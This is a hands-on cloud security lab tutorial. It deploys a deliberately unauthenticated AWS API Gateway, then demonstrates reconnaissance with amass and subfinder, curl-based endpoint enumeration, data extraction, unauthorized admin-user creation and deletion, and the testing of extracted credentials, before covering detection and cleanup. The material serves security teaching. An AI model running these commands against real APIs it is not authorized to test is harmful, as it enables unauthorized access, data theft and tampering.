Skip to content

Prerequisites

  • projectx-prod-vpc has been created with subnets configured.
  • My-Desktop-Key-Pair key pair exists.
  • AWS CLI configured with appropriate IAM credentials.

Network Topology

Base Layout
(Click to zoom)

Overview

This attack demonstrates how to identify and exploit an insecure API Gateway configuration.

API Gateway misconfigurations are common. Often resulting from missing authentication mechanisms, overly permissive resource policies, or disabled security controls. These misconfigurations can expose sensitive data, allow unauthorized access to backend services, and enable various attack vectors.

In this scenario, we'll deploy a deliberately insecure API Gateway that allows public access without authentication, then demonstrate how an attacker can discover and exploit this vulnerability to access sensitive information and potentially compromise backend services.

What is an API Gateway

An API Gateway is a service that acts as a single entry point for clients to access backend APIs or services.

It manages, secures, and routes API requests, handling tasks such as authentication, rate limiting, protocol translation, and aggregation of multiple services into a unified API interface.

A good example of when an API Gateway would be useful is the open-source threat intelligence services used in the threat intelligence web application.

These threat intelligence providers could place an API Gateway in front, so that when consumers, like us, make a call to the API, it goes through the API Gateway.

This would allow providers to gain more visibility into who makes requests, how often, and provides observability metrics.

What Makes an API Gateway Insecure?

API Gateways become vulnerable through different areas.

A few of the most common include...

  • Missing Authentication: No API keys, IAM auth, or custom authorizers. The API is open to anyone who discovers the endpoint.
  • Overly Permissive Resource Policy: Resource policy allows Principal: '*' with Action: execute-api:Invoke, making the API publicly accessible.
  • No Rate Limiting: Missing throttling or usage plans allows attackers to abuse the API, potentially causing DoS or incurring high costs.
  • Excessive Backend Permissions: Lambda functions or other backend services have overly broad IAM permissions, allowing lateral movement if compromised.
  • Missing Input Validation: No request validation or schema enforcement allows injection attacks or malformed requests.

👉 In production environments, API Gateways should implement proper authentication, use least privilege resource policies, enable rate limiting, and validate all inputs.

Deploy Insecure API Gateway

Run CloudFormation Template

Navigate to the CloudFormation service in the AWS Console.

Select Create stackChoose an existing template.

Choose Upload a template file and select the insecure-api-gateway.yaml template from https://github.com/projectsecio/exercise-files/tree/main/cloud-attacks-101/attacks_cf_templates

Stack name: insecure-api-gateway

Leave everything else default.

Submit

Wait for the stack creation to complete. You can monitor the progress in the CloudFormation console.

👉 The CloudFormation template deploys:

  • A REST API Gateway with a resource policy allowing public access
  • No authentication mechanisms (no API keys, no IAM auth)
  • A Lambda function with overly permissive IAM permissions (S3 and DynamoDB access)
  • No rate limiting or throttling configured

Get API Gateway URL

Once the stack is created, get the API Gateway invoke URL:

Option 1: AWS Console 1. Navigate to API Gateway ➔ APIs 2. Find the API named delete-me-api-gateway 3. Click on Stagesprod 4. Note the Invoke URL

Option 2: AWS CLI

# Get the API Gateway URL from CloudFormation outputs
aws cloudformation describe-stacks \
  --stack-name insecure-api-gateway \
  --query 'Stacks[0].Outputs[?OutputKey==`ApiGatewayUrl`].OutputValue' \
  --output text

👉 The API Gateway URL will be in the format: https://<api-id>.execute-api.<region>.amazonaws.com/prod/

Discovery

Identify the API Gateway

Time to put our attacker hat or lens on.

How do attackers discover insecure API Gateways?

Reconnaissance: Open-source tools and techniques can be used to find exposed API Gateways. These open-source tools use different technique to identify open endpoints. A few methods include:

  • Subdomain enumeration to discover API endpoints
  • Certificate transparency logs revealing API domains
  • GitHub/GitLab repositories exposing API endpoints in code or documentation
  • Public API directories and registries
  • Error messages from applications revealing API endpoints

👉 Tools like amass, subfinder, or crt.sh can help discover API Gateway endpoints through subdomain enumeration and certificate transparency logs.

Error messages: Applications may expose API Gateway URLs in error messages, logs, or client-side JavaScript.

API documentation: Publicly accessible API documentation may reveal endpoints and their configurations.

Network scanning: Scanning for common API Gateway patterns or analyzing network traffic.

Social engineering: Information gathered from employees, forums, or documentation.

For this scenario, let's use amass or subfinder on the [project-x-attacker] machine to enumerate possible API Gateway endpoints.

We can set up either tool.

sudo apt update
sudo apt install amass -y

Or, to use subfinder.

sudo apt update
sudo apt install subfinder -y

Next, enumerate subdomains for the relevant domain, for example, if we wanted to target projectx.com, we could use the following:

Using amass:

amass enum -d projectx.com -o projectx_subs.txt

Using subfinder:

subfinder -d projectx.com -o projectx_subs.txt

For API Gateway enumeration, you can add your URL in place of projectx.com to locate your API gateway.

After running the scan, inspect the results in projectx_subs.txt for any subdomains matching typical AWS API Gateway patterns, such as:

https://<api-id>.execute-api.<region>.amazonaws.com

👉 Once you identify a likely API Gateway subdomain, use it as your target for the remainder of this scenario.

Test API Accessibility

First, verify that the API Gateway is publicly accessible:

# Test basic connectivity
curl https://<api-id>.execute-api.<region>.amazonaws.com/prod/test

# Test with verbose output to see headers
curl -v https://<api-id>.execute-api.<region>.amazonaws.com/prod/test

If these commands succeed without authentication, the API Gateway is publicly accessible.

API Test
(Click to zoom)

👉 If you receive a response without providing API keys, authentication tokens, or IAM credentials, the API Gateway is misconfigured.

Check for Authentication Requirements

Test if the API requires authentication:

# Try accessing without any authentication headers
curl https://<api-id>.execute-api.<region>.amazonaws.com/prod/test

# Check response headers for authentication requirements
curl -I https://<api-id>.execute-api.<region>.amazonaws.com/prod/test
API Test
(Click to zoom)

If the API returns data (HTTP 200) without requiring authentication headers, it confirms the API Gateway is misconfigured.

Enumeration Phase

Explore API Endpoints

Once you've confirmed public access, enumerate available endpoints and understand the API structure:

# Test root endpoint
curl https://<api-id>.execute-api.<region>.amazonaws.com/prod/

# Test common endpoint patterns
curl https://<api-id>.execute-api.<region>.amazonaws.com/prod/api
curl https://<api-id>.execute-api.<region>.amazonaws.com/prod/v1
curl https://<api-id>.execute-api.<region>.amazonaws.com/prod/users
curl https://<api-id>.execute-api.<region>.amazonaws.com/prod/data
curl https://<api-id>.execute-api.<region>.amazonaws.com/prod/admin

Analyze API Responses

Examine the responses for useful information:

  • Sensitive data: API keys, credentials, or tokens in responses
  • Error messages: Revealing internal structure, database names, or file paths
  • Endpoint information: Lists of available endpoints or operations
  • Metadata: Version information, environment details, or configuration data

It appears a few of the above default API endpoint paths revealed some juicy information.

API Test
(Click to zoom)

Test Different HTTP Methods

Try different HTTP methods to discover additional functionality:

# Test GET
curl -X GET https://<api-id>.execute-api.<region>.amazonaws.com/prod/test

# Test POST
curl -X POST https://<api-id>.execute-api.<region>.amazonaws.com/prod/test

# Test PUT
curl -X PUT https://<api-id>.execute-api.<region>.amazonaws.com/prod/test

# Test DELETE
curl -X DELETE https://<api-id>.execute-api.<region>.amazonaws.com/prod/test

# Test PATCH
curl -X PATCH https://<api-id>.execute-api.<region>.amazonaws.com/prod/test

Identify Sensitive Information

Look for sensitive information in API responses:

  • API keys or tokens
  • Database connection strings
  • Internal service URLs
  • User information or PII
  • Configuration details
  • Error messages revealing system architecture

Exploitation Phase

Extract Sensitive Data

Based on the API responses, extract any sensitive information:

# Get full response and save to file
curl https://<api-id>.execute-api.<region>.amazonaws.com/prod/test > api_response.json

# Parse JSON response
cat api_response.json | jq .

# Extract specific fields
cat api_response.json | jq '.user_info'
Sensitive Data
(Click to zoom)

Test Parameter Manipulation

Try manipulating path parameters or query strings:

# Test path parameters
curl https://<api-id>.execute-api.<region>.amazonaws.com/prod/users/123
curl https://<api-id>.execute-api.<region>.amazonaws.com/prod/users/admin
curl https://<api-id>.execute-api.<region>.amazonaws.com/prod/users/1

# Test query parameters
curl "https://<api-id>.execute-api.<region>.amazonaws.com/prod/data?limit=100"
curl "https://<api-id>.execute-api.<region>.amazonaws.com/prod/data?format=json"

Here you can see some default users returned in the response.

Sensitive Data
(Click to zoom)

Attempt Unauthorized Operations

If the API allows write operations, attempt unauthorized actions:

# Attempt to create resources
curl -X POST https://<api-id>.execute-api.<region>.amazonaws.com/prod/users \
  -H "Content-Type: application/json" \
  -d '{"username":"attacker","role":"admin"}'

# Attempt to modify resources
curl -X PUT https://<api-id>.execute-api.<region>.amazonaws.com/prod/users/1 \
  -H "Content-Type: application/json" \
  -d '{"role":"admin"}'

# Attempt to delete resources
curl -X DELETE https://<api-id>.execute-api.<region>.amazonaws.com/prod/users/1

Here we create a new user using the curl -X POST, followed by a user. Yikes.

Sensitive Data
(Click to zoom)

Analyze Backend Permissions

If you've extracted credentials or identified the backend Lambda function, analyze what permissions it has:

# If you have AWS credentials from the API response, test permissions
aws sts get-caller-identity --profile extracted-creds

# Test S3 access (if Lambda has S3 permissions)
aws s3 ls --profile extracted-creds

# Test DynamoDB access (if Lambda has DynamoDB permissions)
aws dynamodb list-tables --profile extracted-creds

We won't be able to do this since the extracted credentials are not real.

👉 In this scenario, the Lambda function has overly permissive permissions, allowing access to S3 and DynamoDB resources. In a real attack, an attacker could use these permissions to access or modify data.

Potential Impact

Based on the discovered vulnerabilities, an attacker could:

  • Data Exfiltration: Access sensitive data exposed through API responses
  • Unauthorized Access: Perform operations without authentication
  • Lateral Movement: Use extracted credentials to access other AWS services
  • Data Manipulation: Modify or delete data if write operations are allowed
  • Service Abuse: Abuse the API for DoS attacks or incurring high costs
  • Privilege Escalation: Use backend Lambda permissions to access additional resources

👉 In a real attack, the attacker would likely use this information to gain further access to the organization's infrastructure and data.

Detection and Prevention

How to Detect Insecure API Gateways

  • AWS Config: Enable rules to detect API Gateways without authentication
  • CloudTrail: Monitor API Gateway API calls for unusual access patterns
  • GuardDuty: Detects suspicious API Gateway access and potential abuse
  • Access Analyzer: Identifies API Gateways accessible from outside your account
  • Regular Audits: Periodically review API Gateway resource policies and authentication settings
  • API Gateway Logging: Enable CloudWatch Logs to monitor API access and identify unauthorized requests

Best Practices for API Gateway Security

  • Enable Authentication: Use API keys, IAM authentication, or custom authorizers for all endpoints
  • Implement Resource Policies: Use least privilege principles, restrict access to specific IPs or VPCs when possible
  • Enable Rate Limiting: Configure throttling and usage plans to prevent abuse
  • Use Least Privilege for Backend: Grant Lambda functions and other backend services only necessary permissions
  • Enable Request Validation: Use request validators and model validation to prevent malformed requests
  • Enable CORS Properly: Configure CORS to allow only trusted origins
  • Enable Logging: Use CloudWatch Logs and X-Ray for monitoring and debugging
  • Regular Security Reviews: Review API Gateway configurations regularly for security issues
  • Use WAF: Deploy AWS WAF in front of API Gateway to protect against common web exploits

👉 Always follow the principle of least privilege when configuring API Gateway permissions and authentication mechanisms.

Cleanup

Warning

After completing this exercise, choose Delete on the CloudFormation stack to remove all resources.

aws cloudformation delete-stack --stack-name insecure-api-gateway

Wait for the stack deletion to complete:

aws cloudformation wait stack-delete-complete --stack-name insecure-api-gateway

👉 Ensure you've removed any AWS credentials configured from the exercise before continuing with other work.